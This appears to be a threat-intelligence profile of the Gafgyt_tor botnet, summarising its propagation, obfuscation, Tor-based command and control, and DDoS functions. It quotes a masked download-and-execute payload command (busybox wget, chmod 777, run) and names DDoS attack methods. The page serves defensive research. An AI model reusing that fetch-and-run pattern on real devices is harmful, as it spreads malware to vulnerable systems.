Gafgyt_tor
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The EnemyBot appears to be a follow-up of Gafgyt_tor, retaining the technique of hosting its C2 server in the Tor network.
Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. ... we named the variant Gafgyt_tor.
Techniques & procedures
13 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
“Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities,” followed by D-Link RCE (CVE-2019-16920) and exploit requests targeting Liferay and Citrix NetScaler endpoints.
Execution
1 technique
Execution
The Laravel exploit uses a reverse shell to first download a bash script. The WebLogic Linux exploit uses bash, which downloads and executes both Necro (setup.py) and the mining program.
Stealth
3 techniques
Stealth
“In the sample captured on February 24 we found that the function name was obfuscated as a random string,” indicating efforts to strengthen anti-analysis and detection evasion.
“Gafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis.”
Payload commands conclude with “rm -rf .kpin”.
Defense Impairment
1 technique
Defense Impairment
The payload download commands contain “chmod 777 ./kpin” before executing the downloaded file.
Credential Access
1 technique
Credential Access
“Gafgyt_tor botnet is mainly propagated through Telnet weak passwords.”
Discovery
1 technique
Discovery
“The core function is still DDoS attacks and scanning”; samples contain scan functions named “ak47Scan” and “ak47telscan.”
Command and Control
2 techniques
Command and Control
Necro supports Tor for C2; its code includes multiple Tor proxy IP addresses and an onion-service C2 address.
The exploit payload executes “busybox wget http://.../bins/... || wget http://... -O .kpin; chmod 777 ./kpin; ./kpin”. The LDSERVER command allows C2 to specify and dynamically switch the download server.
Exfiltration
1 technique
Exfiltration
T1030: Proxy: 003: Multi-hop Proxy
Impact
2 techniques
Impact
Necro integrates a Tor proxy-based DDoS attack method, torflood; other JavaScript commands issue repeated POST requests, image loads, and iframe loads to DDoS targets.
The core function is “DDoS attack,” and decrypted commands include UDP, TCP, HOLD, JUNK, TLS, STD, DNS, OVH, BLACKNURSE, plus SYN, RST, FIN, ACK, and PSH attack-related strings.
Observables
217 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.